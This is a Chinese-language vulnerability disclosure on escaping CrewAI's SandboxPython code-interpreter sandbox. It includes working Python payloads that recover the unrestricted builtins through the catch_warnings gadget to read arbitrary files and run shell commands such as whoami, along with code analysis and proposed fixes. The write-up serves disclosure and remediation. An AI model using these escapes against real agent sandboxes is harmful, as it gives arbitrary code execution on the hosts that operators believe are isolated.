CrewAI SandboxPython 沙箱绕过利用

前言

AI 组件/应用大部分都是基于 python 语言的,但是又需要执行功能,那就离不开沙箱了,最近爆出的许许多多的漏洞,沙箱逃逸可以算一个大头,于是开始挖掘起了其他 AI 框架的沙箱逃逸

漏洞描述

CrewAI 的 CodeInterpreterTool 提供了两种执行模式:unsafe_mode(直接在宿主机执行代码)和 safe_mode(使用受限沙箱执行代码)。safe_mode 使用 SandboxPython 类来实现 Python 代码的沙箱隔离,该沙箱通过限制危险模块导入和移除危险内置函数来提供基本的代码执行安全。

漏洞成因:SandboxPython 的沙箱实现存在设计缺陷。我们可以通过 Python 对象的继承链(__class__、__bases__、__subclasses__)访问内部对象(如 catch_warnings 类),进而通过该类的 __init__.__globals__ 属性访问原始的、不受限制的 __builtins__ 字典。这使得攻击者可以在 safe_mode 下绕过所有限制,实现任意代码执行、任意文件读写和导入危险模块。

环境搭建

我们只验证沙箱部分

安装crewai_tools 包就好了

环境验证

验证

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython
print('SandboxPython imported successfully')
print('Blocked modules:', SandboxPython.BLOCKED_MODULES)
print('Unsafe builtins:', SandboxPython.UNSAFE_BUILTINS)

这是沙箱的限制

漏洞复现

分步骤复现

验证沙箱限制

我们验证沙箱是否有用

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

# 尝试在沙箱中导入 os 模块(应该被阻止)
code = """
import os
result = "os imported"
"""
exec_locals = {}
SandboxPython.exec(code=code, locals=exec_locals)

执行结果:

沙箱阻止了直接导入 os 模块

当然,玩过 CTF 的,绕过沙箱,还是不难的,下面开始绕吧

寻找 warnings.catch_warnings

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

code = """
# 访问 tuple 类的继承链
# tuple -> __class__ -> __bases__[0] -> object -> __subclasses__()
subclasses = ().__class__.__bases__[0].__subclasses__()
result =subclasses
"""
exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(exec_locals['result'])

访问Python 对象的继承链,获取了所有子类列表

然后我们寻找 warnings.catch_warnings

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

code = """
subclasses = ().__class__.__bases__[0].__subclasses__()
for i, cls in enumerate(subclasses):
    if 'catch_warnings' in cls.__name__:
        result = f"Found catch_warnings at index {i}"
        break
"""
exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(exec_locals['result'])

执行结果:

Found catch_warnings at index 146

得到结果在 146 个,我们利用这个类去获取到恶意函数

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

code = """
subclasses = ().__class__.__bases__[0].__subclasses__()[146]
"""
exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(exec_locals['subclasses'])

获取恶意函数

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

code = """
subclasses = ().__class__.__bases__[0].__subclasses__()[146].__init__.__globals__['__builtins__']
"""
exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(exec_locals['subclasses'])

open

__import__,可以直接导入 os 模块

eval 可直接执行表达式

任意文件读取

from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

with open('/tmp/test_secret.txt', 'w') as f:
    f.write('SECRET_FILE_CONTENT')

# 然后在沙箱中读取
code = """
subclasses = ().__class__.__bases__[0].__subclasses__()
warnings_class = None
for cls in subclasses:
    if 'catch_warnings' in cls.__name__:
        warnings_class = cls
        break

original_builtins = warnings_class.__init__.__globals__['__builtins__']
open_func = original_builtins['open']

with open_func('/tmp/test_secret.txt', 'r') as f:
    content = f.read()
result = f"SUCCESS_READ: {content}"
"""
exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(exec_locals['result'])

代码执行

import textwrap
from crewai_tools.tools.code_interpreter_tool.code_interpreter_tool import SandboxPython

code = textwrap.dedent("""
    # 1. 访问 object 类并获取所有子类
    # ().__class__.__bases__[0] 等同于 object
    subclasses = ().__class__.__bases__[0].__subclasses__()

    warnings_class = None

    # 2. 遍历子类寻找 'catch_warnings' (这是一个常用的 Gadget)
    for cls in subclasses:
        if 'catch_warnings' in cls.__name__:
            warnings_class = cls
            break

    if warnings_class:
        # 3. 从 catch_warnings 的全局变量中恢复原始的 __builtins__
        original_builtins = warnings_class.__init__.__globals__['__builtins__']

        # 4. 利用原始 __import__ 导入 os 模块
        import_func = original_builtins['__import__']
        os_module = import_func("os")

        # 5. 执行系统命令
        system_func = getattr(os_module, "system")
        # 这里执行 whoami 并写入文件
        system_func("whoami > /tmp/test.txt")

        result = "RCE_SUCCESS"
    else:
        result = "GADGET_NOT_FOUND"
""")

print("[*] Payload constructed. Executing via SandboxPython...")

exec_locals = {}
SandboxPython.exec(code, exec_locals)
print(f"[*] Exploit Status: {exec_locals.get('result')}")
try:
    with open('/tmp/test.txt', 'r') as f:
        print(f"[*] Command Output (whoami): {f.read().strip()}")
except FileNotFoundError:
    print("[!] /tmp/test.txt not found. (Code might be running in an isolated container?)")

漏洞分析

代码分析

SandboxPython 类定义

文件位置: crewai-tools/src/crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py

class SandboxPython:
    """A restricted Python execution environment for running code safely.

    This class provides methods to safely execute Python code by restricting access to
    potentially dangerous modules and built-in functions. It creates a sandboxed
    environment where harmful operations are blocked.
    """

    BLOCKED_MODULES: ClassVar[set[str]] = {
        "os",
        "sys",
        "subprocess",
        "shutil",
        "importlib",
        "inspect",
        "tempfile",
        "sysconfig",
        "builtins",
    }

    UNSAFE_BUILTINS: ClassVar[set[str]] = {
        "exec",
        "eval",
        "open",
        "compile",
        "input",
        "globals",
        "locals",
        "vars",
        "help",
        "dir",
    }

一眼就能够看懂逻辑,不能使用哪些模块,不能使用哪些 BUILTINS 函数

exec 函数

文件位置: crewai-tools/src/crewai_tools/tools/code_interpreter_tool/code_interpreter_tool.py

@staticmethod
def exec(code: str, locals: dict[str, Any]) -> None:
    """Executes Python code in a restricted environment.

    Args:
        code: The Python code to execute as a string.
        locals: A dictionary that will be used for local variable storage.
    """
    exec(code, {"__builtins__": SandboxPython.safe_builtins()}, locals)  # ← 漏洞点

创建了一个受限的 __builtins__ 字典,但是执行环境中的对象仍然可以访问其内部属性,没有限制对 __class__、__bases__、__subclasses__ 等特殊属性的访问

整体数据流

(code="subclasses = ().__class__.__bases__[0].__subclasses__()")
    │
    ▼
SandboxPython.exec(code, locals)
    │
    │ exec(code, {"__builtins__": safe_builtins}, locals)
    │    ↓
    │ 执行环境使用受限的 __builtins__
    │    ↓
    │ 但是代码中的对象 (()) 仍然有完整的属性
    ▼
访问 __class__ 属性
    │
    ▼
访问 __bases__ 属性
    │
    ▼
访问 __subclasses__() 方法
    │
    ▼
找到 catch_warnings 类
    │
    ▼
访问 catch_warnings.__init__.__globals__
    │
    │ → 这是一个模块级别的全局命名空间
    │ → 包含原始的 __builtins__!
    ▼
original_builtins = warnings_class.__init__.__globals__['__builtins__']
    │
    │ 现在有了不受限制的 __builtins__:
    │ - original_builtins['open']      → 可以读取任意文件
    │ - original_builtins['eval']      → 可以执行任意代码
    │ - original_builtins['__import__'] → 可以导入任意模块
    ▼

漏洞修复

受影响版本: crewai-tools <= 1.0.0a2

修复版本: 待发布

修复建议

问题根本原因:

  • Python 的沙箱机制众所周知难以实现完美
  • 对象的内部属性(__class__、__bases__、__globals__ 等)无法被完全限制
  • 即使替换了 __builtins__,仍可以通过其他已加载对象访问原始版本

推荐修复方案:

  1. 使用 Docker 容器作为唯一隔离机制
  • 完全移除 SandboxPython 的使用
  • 要求 Docker 必须可用,否则拒绝执行代码
  • 这样可以提供真正的操作系统级隔离
  1. 或者使用防护更强的 SandboxPython
import ast
import re

class SandboxPython:
    """一个更安全的 Python 沙箱实现(仍然不推荐用于生产环境)"""

    # 禁止的属性访问模式
    BLOCKED_ATTRS = {
        '__class__', '__bases__', '__subclasses__',
        '__globals__', '__code__', '__closure__',
        '__import__', '__builtins__', '__getattribute__',
    }

    @staticmethod
    def _validate_ast(node: ast.AST) -> bool:
        """使用 AST 验证代码是否包含危险模式

        Args:
            node: AST 节点

        Returns:
            True 如果代码安全,False 如果包含危险模式

        Raises:
            ValueError: 如果代码包含危险模式
        """
        class DangerDetector(ast.NodeVisitor):
            def __init__(self):
                self.has_danger = False
                self.danger_reason = []

            def visit_Attribute(self, node: ast.Attribute):
                # 检查属性访问
                if isinstance(node.attr, str) and node.attr in SandboxPython.BLOCKED_ATTRS:
                    self.has_danger = True
                    self.danger_reason.append(f"Blocked attribute access: {node.attr}")
                self.generic_visit(node)

            def visit_Import(self, node: ast.Import):
                self.has_danger = True
                self.danger_reason.append("Import statement not allowed")

            def visit_ImportFrom(self, node: ast.ImportFrom):
                self.has_danger = True
                self.danger_reason.append("Import from statement not allowed")

        detector = DangerDetector()
        detector.visit(node)

        if detector.has_danger:
            raise ValueError(f"Code contains dangerous patterns: {detector.danger_reason}")

        return True

    @staticmethod
    def exec(code: str, locals: dict[str, Any]) -> None:
        """在受限环境中执行代码

        Args:
            code: 要执行的 Python 代码
            locals: 局部变量字典

        Raises:
            ValueError: 如果代码包含危险模式
        """
        # 步骤 1: 解析代码为 AST
        try:
            tree = ast.parse(code)
        except SyntaxError as e:
            raise ValueError(f"Syntax error in code: {e}")

        # 步骤 2: 验证 AST 是否包含危险模式
        SandboxPython._validate_ast(tree)

        # 步骤 3: 编译并执行代码
        compiled_code = compile(tree, '<string>', 'exec')

        # 创建受限的执行环境
        safe_builtins = SandboxPython._create_safe_builtins()
        execution_globals = {"__builtins__": safe_builtins}

        # 执行代码
        exec(compiled_code, execution_globals, locals)

    @staticmethod
    def _create_safe_builtins() -> dict:
        """创建安全的 builtins 字典

        只包含绝对安全的内置函数。
        """
        import builtins

        # 白名单:只允许这些内置函数
        ALLOWED_BUILTINS = {
            'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray',
            'bytes', 'chr', 'complex', 'dict', 'divmod', 'enumerate',
            'filter', 'float', 'format', 'frozenset', 'hex', 'int',
            'isinstance', 'issubclass', 'iter', 'len', 'list', 'map',
            'max', 'min', 'next', 'oct', 'ord', 'pow', 'print', 'range',
            'repr', 'reversed', 'round', 'set', 'slice', 'sorted', 'str',
            'sum', 'tuple', 'type', 'zip',
        }

        safe_builtins = {
            k: v for k, v in builtins.__dict__.items()
            if k in ALLOWED_BUILTINS
        }

        # 使用受限的 __import__
        def safe_import(name, *args, **kwargs):
            BLOCKED = {'os', 'sys', 'subprocess', 'shutil', 'importlib'}
            if name in BLOCKED:
                raise ImportError(f"Importing '{name}' is not allowed")
            return __import__(name, *args, **kwargs)

        safe_builtins['__import__'] = safe_import
        return safe_builtins

免责

只做技术分享,请勿滥用